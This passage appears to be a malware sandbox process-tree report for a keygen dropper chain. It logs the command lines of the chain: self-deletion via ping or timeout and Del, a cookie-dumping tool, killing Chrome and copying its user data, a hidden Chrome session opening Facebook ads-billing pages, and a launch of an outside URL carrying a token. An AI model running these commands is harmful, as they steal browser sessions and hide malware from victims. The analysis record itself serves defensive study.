                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                                  5⤵
                                                                                                                                                    PID:672
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                                keygen-step-1.exe
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:992
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                keygen-step-2.exe
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                • Modifies system certificate store
                                                                                                                                                PID:2724
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\B7EC.tmp.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\B7EC.tmp.exe"
                                                                                                                                                  4⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:4376
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\B7EC.tmp.exe"
                                                                                                                                                    5⤵
                                                                                                                                                      PID:7252
                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                        timeout /T 10 /NOBREAK
                                                                                                                                                        6⤵
                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                        PID:7332
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:1548
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:364
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 284
                                                                                                                                                        5⤵
                                                                                                                                                        • Program crash
                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:992
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
                                                                                                                                                      4⤵
                                                                                                                                                        PID:4936
                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                          ping 127.0.0.1
                                                                                                                                                          5⤵
                                                                                                                                                          • Runs ping.exe
                                                                                                                                                          PID:5032
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                                                                                                                                      keygen-step-3.exe
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:4568
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:4312
                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                            ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                            5⤵
                                                                                                                                                            • Runs ping.exe
                                                                                                                                                            PID:528
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                                                                                                                                        keygen-step-4.exe
                                                                                                                                                        3⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:1144
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                                                                                                                                          4⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:2160
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                                                                                                                                            5⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Maps connected drives based on registry
                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:1292
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe" 1 3.1618032556.607137ac68e57 101
                                                                                                                                                              6⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:5608
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\YW4YD2XFRE\multitimer.exe" 2 3.1618032556.607137ac68e57
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:5716
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\uisf430q30e\uyyoq2zil5q.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\uisf430q30e\uyyoq2zil5q.exe" /VERYSILENT
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:5680
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-F5D7D.tmp\uyyoq2zil5q.tmp
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-F5D7D.tmp\uyyoq2zil5q.tmp" /SL5="$303D0,140785,56832,C:\Users\Admin\AppData\Local\Temp\uisf430q30e\uyyoq2zil5q.exe" /VERYSILENT
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:5624
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-L3S8U.tmp\apipostback.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-L3S8U.tmp\apipostback.exe" adan adan
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:1524
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\VH7LKsIz7.dll"
                                                                                                                                                                                11⤵
                                                                                                                                                                                  PID:7112
                                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                    regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\VH7LKsIz7.dll"
                                                                                                                                                                                    12⤵
                                                                                                                                                                                      PID:7224
                                                                                                                                                                                      • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                                        /s "C:\Users\Admin\AppData\Local\Temp\VH7LKsIz7.dll"
                                                                                                                                                                                        13⤵
                                                                                                                                                                                          PID:7232
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\pstx3hck1g4\j0w2yadrhci.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\pstx3hck1g4\j0w2yadrhci.exe" /ustwo INSTALL
                                                                                                                                                                                8⤵
                                                                                                                                                                                  PID:4516
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 652
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:6440
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 660
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:6568
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 772
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:6656
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 808
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:6772
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 884
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:6888
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 928
                                                                                                                                                                                    9⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:7948
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\n3lfmwudy1u\Setup3310.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\n3lfmwudy1u\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:5032
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-5Q3DD.tmp\Setup3310.tmp
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-5Q3DD.tmp\Setup3310.tmp" /SL5="$903CE,138429,56832,C:\Users\Admin\AppData\Local\Temp\n3lfmwudy1u\Setup3310.exe" /Verysilent /subid=577
                                                                                                                                                                                      9⤵
                                                                                                                                                                                        PID:4184
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-P90AC.tmp\Setup.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-P90AC.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                          10⤵
                                                                                                                                                                                            PID:6952
                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
                                                                                                                                                                                              11⤵
                                                                                                                                                                                                PID:6288
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                    PID:7384
                                                                                                                                                                                                • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                    PID:6520
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe"
                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                        PID:7748
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\CleanerTools\winxsl.exe"
                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                            PID:7180
                                                                                                                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                          PID:6572
                                                                                                                                                                                                        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                            PID:6404
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-BO8HA.tmp\LabPicV3.tmp
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-BO8HA.tmp\LabPicV3.tmp" /SL5="$105E4,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                PID:6892
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-JV3RG.tmp\alpATCHInO.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-JV3RG.tmp\alpATCHInO.exe" /S /UID=lab214
                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                    PID:7880
                                                                                                                                                                                                              • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                  PID:6432
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\HZJPUOJ0RM\multitimer.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\HZJPUOJ0RM\multitimer.exe" 0 306065bb10421b26.04333812 0 103
                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                      PID:8008
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\ZEX66OYD56\setups.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\ZEX66OYD56\setups.exe" ll
                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                        PID:8088
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-QEHTM.tmp\setups.tmp
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-QEHTM.tmp\setups.tmp" /SL5="$20538,1873631,71168,C:\Users\Admin\AppData\Local\Temp\ZEX66OYD56\setups.exe" ll
                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                            PID:8148
                                                                                                                                                                                                                      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                                                                                                                                                                        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                          PID:2848
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-7RVOB.tmp\lylal220.tmp
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-7RVOB.tmp\lylal220.tmp" /SL5="$105EE,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:2712
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-QABL5.tmp\ysAGEL.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-QABL5.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                  PID:7820
                                                                                                                                                                                                                            • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                PID:6636
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                    PID:7456
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                        PID:8128
                                                                                                                                                                                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\EIWNPZWleLKv.exe
                                                                                                                                                                                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\EIWNPZWleLKv.exe"
                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                      PID:6896
                                                                                                                                                                                                                                    • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe
                                                                                                                                                                                                                                      "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Raw4vpn.exe"
                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                        PID:6772
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\dllhost.exe"
                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                            PID:7700
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Congiunte.vstx
                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                              PID:7800
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                  PID:8056
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\mzy0worf0w4\app.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\mzy0worf0w4\app.exe" /8-23
                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                          PID:5940
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\lp2ml4ylhyu\KiffApp1.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\lp2ml4ylhyu\KiffApp1.exe"
                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                            PID:3264
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\l3h02qsuejq\b2ewikyxemn.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\l3h02qsuejq\b2ewikyxemn.exe"
                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                              PID:1052
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\l3h02qsuejq\b2ewikyxemn.exe"
                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                  PID:6404
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                    ping 1.1.1.1 -n 1 -w 3000
                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                                                                                    PID:6516
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2ai4zhtjix2\vpn.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\2ai4zhtjix2\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                  PID:4364
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-IHOG1.tmp\vpn.tmp
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-IHOG1.tmp\vpn.tmp" /SL5="$503B6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\2ai4zhtjix2\vpn.exe" /silent /subid=482
                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                      PID:2004
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                          PID:6932
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                            tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                              PID:6508
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                              PID:8176
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                                  PID:7536
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\lx3anpolbte\IBInstaller_97039.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\lx3anpolbte\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                              PID:3456
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-ID540.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-ID540.tmp\IBInstaller_97039.tmp" /SL5="$104EC,9979514,721408,C:\Users\Admin\AppData\Local\Temp\lx3anpolbte\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                  PID:3704
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "cmd.exe" /c start http://leatherclothesone.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                      PID:2580
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-JEU5T.tmp\{app}\vdi_compiler.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-JEU5T.tmp\{app}\vdi_compiler"
                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                        PID:1556
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\mr1344qfj1e\mgqx1lcptef.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\mr1344qfj1e\mgqx1lcptef.exe" /quiet SILENT=1 AF=756
                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                      PID:3628
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\mr1344qfj1e\mgqx1lcptef.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\mr1344qfj1e\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617773457 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                          PID:6500
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ER1SZB7KV3\setups.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\ER1SZB7KV3\setups.exe" ll
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:4368
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-ELDL5.tmp\setups.tmp
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-ELDL5.tmp\setups.tmp" /SL5="$202A2,1873631,71168,C:\Users\Admin\AppData\Local\Temp\ER1SZB7KV3\setups.exe" ll
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                    PID:4832
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                PID:4688
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:4480
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                      PID:2116
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                  PID:668
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:5136
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                        PID:5344
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                                                                      xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:6136
                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:4548
                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,10808934897055062950,8079859086302045510,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1688 /prefetch:8
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                              PID:5640
                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1608,10808934897055062950,8079859086302045510,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2268 /prefetch:8
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:5424
                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
